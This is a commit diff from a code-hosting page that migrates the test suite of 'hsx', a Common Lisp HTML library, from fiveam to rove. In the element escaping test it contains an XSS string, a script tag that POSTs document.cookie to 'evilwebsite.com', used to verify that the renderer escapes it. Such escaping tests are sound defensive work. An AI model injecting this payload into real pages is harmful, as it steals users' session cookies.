paku/hsx
1
0
Fork 0
Code Issues Pull requests Projects Releases 1 Packages Wiki Activity Actions

Migrate testing framework from fiveam to rove (#18)

Browse source 
* Migrate testing framework from fiveam to rove

* Fix qlfile
This commit is contained in:
paku 2024-09-29 02:10:25 +09:00 committed by GitHub
parent 5945e52207
commit a071924927
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
8 changed files with 185 additions and 231 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

16
hsx-test.asd
View file

@ -1,13 +1,9 @@
(defsystem "hsx-test" (defsystem "hsx-test"
:defsystem-depends-on ("fiveam-asdf") :class :package-inferred-system
:class :package-inferred-fiveam-tester-system
:pathname "tests" :pathname "tests"
:depends-on ("hsx-test/element" :depends-on ("rove"
"hsx-test/hsx" "hsx-test/element"
"hsx-test/escaper" "hsx-test/escaper"
"hsx-test/group") "hsx-test/group"
:test-names ((#:element-test . #:hsx-test/element) "hsx-test/hsx")
(#:hsx-test . #:hsx-test/hsx) :perform (test-op (o c) (symbol-call :rove :run c :style :dot)))
(#:escaper-test . #:hsx-test/escaper)
(#:group-test . #:hsx-test/group))
:num-checks 44)

3
qlfile
View file

@ -1,3 +1,4 @@
ql fiveam-asdf
ql alexandria ql alexandria
ql mstrings ql mstrings
github rove fukamachi/rove
github dissect Shinmera/dissect ; workaround

12
qlfile.lock
View file

@ -2,10 +2,6 @@
(:class qlot/source/dist:source-dist (:class qlot/source/dist:source-dist
:initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest) :initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest)
:version "2023-10-21")) :version "2023-10-21"))
("fiveam-asdf" .
(:class qlot/source/ql:source-ql
:initargs (:%version :latest)
:version "ql-2023-10-21"))
("alexandria" . ("alexandria" .
(:class qlot/source/ql:source-ql (:class qlot/source/ql:source-ql
:initargs (:%version :latest) :initargs (:%version :latest)
@ -14,3 +10,11 @@
(:class qlot/source/ql:source-ql (:class qlot/source/ql:source-ql
:initargs (:%version :latest) :initargs (:%version :latest)
:version "ql-2023-10-21")) :version "ql-2023-10-21"))
("rove" .
(:class qlot/source/github:source-github
:initargs (:repos "fukamachi/rove" :ref nil :branch nil :tag nil)
:version "github-cacea7331c10fe9d8398d104b2dfd579bf7ea353"))
("dissect" .
(:class qlot/source/github:source-github
:initargs (:repos "Shinmera/dissect" :ref nil :branch nil :tag nil)
:version "github-a70cabcd748cf7c041196efd711e2dcca2bbbb2c"))

105
tests/element.lisp
View file

@ -1,54 +1,53 @@
(defpackage #:hsx-test/element (defpackage #:hsx-test/element
(:use #:cl (:use #:cl
#:fiveam #:rove
#:hsx/element) #:hsx/element)
(:import-from #:named-readtables (:import-from #:named-readtables
#:in-readtable) #:in-readtable)
(:import-from #:mstrings (:import-from #:mstrings
#:mstring-syntax)) #:mstring-syntax))
(in-package #:hsx-test/element) (in-package #:hsx-test/element)
(in-readtable mstring-syntax) (in-readtable mstring-syntax)
(def-suite element-test) (deftest tag-test
(in-suite element-test) (testing "element-class"
(ok (typep (create-element :div nil nil) 'tag))
(ok (typep (create-element :html nil nil) 'html-tag))
(ok (typep (create-element :img nil nil) 'self-closing-tag))
(ok (typep (create-element :style nil nil) 'non-escaping-tag))
(ok (typep (create-element :<> nil nil) 'fragment))
(ok (typep (create-element (lambda ()) nil nil) 'component))
(ok (signals (create-element "div" nil nil))))
(test element-class (testing "flatten-children"
(is (typep (create-element :div nil nil) 'tag))
(is (typep (create-element :html nil nil) 'html-tag))
(is (typep (create-element :img nil nil) 'self-closing-tag))
(is (typep (create-element :style nil nil) 'non-escaping-tag))
(is (typep (create-element :<> nil nil) 'fragment))
(is (typep (create-element (lambda ()) nil nil) 'component))
(signals error (create-element "div" nil nil)))
(test flatten-children
(let* ((elm (create-element :p (let* ((elm (create-element :p
nil nil
(list "a" (list "a"
nil nil
(list "b" (list nil "c")) (list "b" (list nil "c"))
(cons "d" "e"))))) (cons "d" "e")))))
(is (equal (list "a" "b" "c" "d" "e") (element-children elm))))) (ok (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
(test empty-element (testing "empty-element"
(is (string= "<div></div>" (ok (string= "<div></div>"
(render-to-string (create-element :div nil nil))))) (render-to-string (create-element :div nil nil)))))
(test element-with-props (testing "element-with-props"
(is (string= "<div prop1=\"value1\" prop2></div>" (ok (string= "<div prop1=\"value1\" prop2></div>"
(render-to-string (create-element :div (render-to-string (create-element :div
(list :prop1 "value1" (list :prop1 "value1"
:prop2 t :prop2 t
:prop3 nil) :prop3 nil)
nil))))) nil)))))
(test element-with-children (testing "element-with-children"
(is (string= "<p>foo</p>" (ok (string= "<p>foo</p>"
(render-to-string (create-element :p (render-to-string (create-element :p
nil nil
(list "foo")) (list "foo"))
:pretty t))) :pretty t)))
(is (string= #M"<p> (ok (string= #M"<p>
\ <span>foo</span> \ <span>foo</span>
</p>" </p>"
(render-to-string (create-element :p (render-to-string (create-element :p
@ -57,7 +56,7 @@
nil nil
(list "foo")))) (list "foo"))))
:pretty t))) :pretty t)))
(is (string= #M"<p> (ok (string= #M"<p>
\ foo \ foo
\ <span>bar</span> \ <span>bar</span>
</p>" </p>"
@ -69,15 +68,15 @@
(list "bar")))) (list "bar"))))
:pretty t)))) :pretty t))))
(test element-with-props-and-children (testing "element-with-props-and-children"
(is (string= "<p prop1=\"value1\" prop2>foo</p>" (ok (string= "<p prop1=\"value1\" prop2>foo</p>"
(render-to-string (create-element :p (render-to-string (create-element :p
(list :prop1 "value1" (list :prop1 "value1"
:prop2 t :prop2 t
:prop3 nil) :prop3 nil)
(list "foo")) (list "foo"))
:pretty t))) :pretty t)))
(is (string= #M"<p prop1=\"value1\" prop2> (ok (string= #M"<p prop1=\"value1\" prop2>
\ foo \ foo
\ <span>bar</span> \ <span>bar</span>
</p>" </p>"
@ -90,29 +89,28 @@
nil nil
"bar"))) "bar")))
:pretty t)))) :pretty t))))
(testing "self-closing-tag"
(test self-closing-tag (ok (string= "<img src=\"/background.png\">"
(is (string= "<img src=\"/background.png\">"
(render-to-string (create-element :img (render-to-string (create-element :img
(list :src "/background.png") (list :src "/background.png")
nil) nil)
:pretty t)))) :pretty t))))
(test escaping-tag (testing "escaping-tag"
(is (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>" (ok (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(render-to-string (render-to-string
(create-element :div (create-element :div
nil nil
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))) (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
(test non-escaping-tag (testing "non-escaping-tag"
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>" (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(render-to-string (render-to-string
(create-element :script (create-element :script
nil nil
"alert('<< Do not embed user-generated contents here! >>')"))))) "alert('<< Do not embed user-generated contents here! >>')")))))
(test fragment (testing "fragment"
(let ((frg (create-element :<> (let ((frg (create-element :<>
nil nil
(list (create-element :li (list (create-element :li
@ -121,10 +119,10 @@
(create-element :li (create-element :li
nil nil
(list "baz")))))) (list "baz"))))))
(is (string= #M"<li>bar</li> (ok (string= #M"<li>bar</li>
<li>baz</li>" <li>baz</li>"
(render-to-string frg :pretty t))) (render-to-string frg :pretty t)))
(is (string= #M"<ul> (ok (string= #M"<ul>
\ <li>foo</li> \ <li>foo</li>
\ <li>bar</li> \ <li>bar</li>
\ <li>baz</li> \ <li>baz</li>
@ -139,7 +137,7 @@
(create-element :li (create-element :li
nil nil
(list "brah")))) (list "brah"))))
:pretty t))))) :pretty t))))))
(defun comp1 (&key prop children) (defun comp1 (&key prop children)
(create-element :div (create-element :div
@ -147,26 +145,12 @@
(list prop (list prop
children))) children)))
(test component-accepting-keyword-args
(let ((elm (expand-component (create-element #'comp1
'(:prop "value")
(list "child")))))
(is (eq :div (element-type elm)))
(is (equal (list "value" "child") (element-children elm)))))
(defun comp2 (&rest props) (defun comp2 (&rest props)
(create-element :div (create-element :div
nil nil
(list (getf props :prop) (list (getf props :prop)
(getf props :children)))) (getf props :children))))
(test component-accepting-property-list
(let ((elm (expand-component (create-element #'comp2
'(:prop "value")
(list "child")))))
(is (eq :div (element-type elm)))
(is (equal (list "value" "child") (element-children elm)))))
(defun comp3 (&rest props &key prop children &allow-other-keys) (defun comp3 (&rest props &key prop children &allow-other-keys)
(create-element :div (create-element :div
nil nil
@ -174,9 +158,24 @@
children children
(getf props :other-key)))) (getf props :other-key))))
(test component-accepting-keyword-args-and-property-list (deftest component-test
(testing "component-accepting-keyword-args"
(let ((elm (expand-component (create-element #'comp1
'(:prop "value")
(list "child")))))
(ok (eq :div (element-type elm)))
(ok (equal (list "value" "child") (element-children elm)))))
(testing "component-accepting-property-list"
(let ((elm (expand-component (create-element #'comp2
'(:prop "value")
(list "child")))))
(ok (eq :div (element-type elm)))
(ok (equal (list "value" "child") (element-children elm)))))
(testing "component-accepting-keyword-args-and-property-list"
(let ((elm (expand-component (create-element #'comp3 (let ((elm (expand-component (create-element #'comp3
'(:prop "value" :other-key "other") '(:prop "value" :other-key "other")
(list "child"))))) (list "child")))))
(is (eq :div (element-type elm))) (ok (eq :div (element-type elm)))
(is (equal (list "value" "child" "other") (element-children elm))))) (ok (equal (list "value" "child" "other") (element-children elm))))))

16
tests/escaper.lisp
View file

@ -1,16 +1,14 @@
(defpackage #:hsx-test/escaper (defpackage #:hsx-test/escaper
(:use #:cl (:use #:cl
#:fiveam #:rove
#:hsx/escaper)) #:hsx/escaper))
(in-package #:hsx-test/escaper) (in-package #:hsx-test/escaper)
(def-suite escaper-test) (deftest escaper-test
(in-suite escaper-test) (testing "escape-html-attribute"
(ok (string= "&quot;foo&quot;"
(test escape-html-attribute
(is (equal "&quot;foo&quot;"
(escape-html-attribute "\"foo\"")))) (escape-html-attribute "\"foo\""))))
(test escape-html-text-content (testing "escape-html-text-content"
(is (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;" (ok (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;"
(escape-html-text-content "&<>\"'/`=")))) (escape-html-text-content "&<>\"'/`=")))))

14
tests/group.lisp
View file

@ -1,16 +1,14 @@
(defpackage #:hsx-test/group (defpackage #:hsx-test/group
(:use #:cl (:use #:cl
#:fiveam #:rove
#:hsx/group)) #:hsx/group))
(in-package #:hsx-test/group) (in-package #:hsx-test/group)
(def-suite group-test)
(in-suite group-test)
(defgroup fruit (defgroup fruit
apple banana orange) apple banana orange)
(test defgroup (deftest group-test
(is (hash-table-p *fruit*)) (testing "defgroup"
(is (fruit-p :apple)) (ok (hash-table-p *fruit*))
(is (not (fruit-p :tomato)))) (ok (fruit-p :apple))
(ng (fruit-p :tomato))))

66
tests/hsx.lisp
View file

@ -1,6 +1,6 @@
(defpackage #:hsx-test/hsx (defpackage #:hsx-test/hsx
(:use #:cl (:use #:cl
#:fiveam #:rove
#:hsx/hsx #:hsx/hsx
#:hsx/builtin) #:hsx/builtin)
(:import-from #:hsx/element (:import-from #:hsx/element
@ -8,62 +8,20 @@
#:element-children)) #:element-children))
(in-package #:hsx-test/hsx) (in-package #:hsx-test/hsx)
(def-suite hsx-test) (deftest hsx-test
(in-suite hsx-test) (testing "find-symbols"
(ok (expands
(test find-symbols
(is (equal '(hsx/builtin:div '(:div "div")
div
(hsx/builtin:div
'div
(hsx/builtin:div)
:div)
"div")
(macroexpand-1
'(hsx (div '(:div "div") '(hsx (div '(:div "div")
div div
(div (div
'div 'div
(div) (div)
:div) :div)
"div")))))) "div"))
'(hsx/builtin:div '(:div "div")
(test empty-hsx div
(let ((elm (div))) (hsx/builtin:div
(is (null (element-props elm))) 'div
(is (null (element-children elm))))) (hsx/builtin:div)
:div)
(test hsx-with-static-props "div")))))
(let ((elm (div :prop1 "value1" :prop2 "value2")))
(is (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm)))
(is (null (element-children elm)))))
(test hsx-with-dynamic-props
(let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (div props)))
(is (equal props (element-props elm)))
(is (null (element-children elm)))))
(test hsx-with-children
(let ((elm (div
"child1"
"child2")))
(is (null (element-props elm)))
(is (equal (list "child1" "child2") (element-children elm)))))
(test hsx-with-static-props-and-children
(let ((elm (div :prop1 "value1" :prop2 "value2"
"child1"
"child2")))
(is (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm)))
(is (equal (list "child1" "child2") (element-children elm)))))
(test hsx-with-dynamic-props-and-children
(let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (div props
"child1"
"child2")))
(is (equal props (element-props elm)))
(is (equal (list "child1" "child2") (element-children elm)))))